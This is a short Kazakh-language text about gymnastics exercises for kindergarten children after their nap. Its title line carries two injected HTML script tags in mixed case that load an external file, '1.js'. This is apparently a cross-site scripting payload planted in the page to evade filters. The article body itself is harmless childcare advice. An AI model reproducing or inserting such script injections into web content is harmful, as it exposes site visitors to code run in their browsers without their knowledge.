Ұйқы кейін гиманастика<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Белгілі болғандай, ұйқы бала күні тәртібінде өте маңызды рөл атқарады. Баланың қалай оянуына көңіл-күйі байланысты. Ұйқыдан кейінгі гимнастика - бұл тыныштықтан сергектікке өтуді қамтамасыз ететін жаттығулар кешені. Ұйқыдан кейін гимнастика балабақшадағы ең маңызды режимдік сәттердің бірі болып саналады. Ол сауықтыру бағыты бар: балалар ағзасының бейімделу мүмкіндіктерін арттырады. Балалар әуенді, тыныш музыкаға ұйықтап, әр 3-4 рет қайталай отырып, төсекте жаттығуларды орындайды.